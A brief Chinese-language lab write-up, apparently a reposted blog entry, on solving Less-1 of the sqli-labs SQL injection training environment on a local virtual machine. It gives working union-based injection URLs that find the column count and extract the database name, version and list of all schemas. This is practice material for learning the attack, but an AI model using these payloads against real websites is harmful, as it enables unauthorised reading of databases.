关于sql-libs的安装就不做过多的说明，

环境：win7虚拟机 192.168.48.130（NAT连接），然后用我的win10物理机去访问。

直接加 ‘ 报错，后测试 and ‘1‘=‘1 成功返回，1=2错误， 是基于字符型的注入

order by 3--+ 返回正常，  4的时候错误，得到字段为3，  --+是注释符号  http://192.168.48.130/sqli-labs-master/Less-1/?id=1‘ order by 3--+

查找当前数据库名称和版本号：http://192.168.48.130/sqli-labs-master/Less-1/?id=-1‘ union select 1,database(),version()--+

 查找所有数据库的名字 ：http://192.168.48.130/sqli-labs-master/Less-1/?id=-1‘ union select 1,(select group_concat(schema_name) from information_schema.schemata),version()--+

sql-libs(1)

原文：https://www.cnblogs.com/kuaile1314/p/11324161.html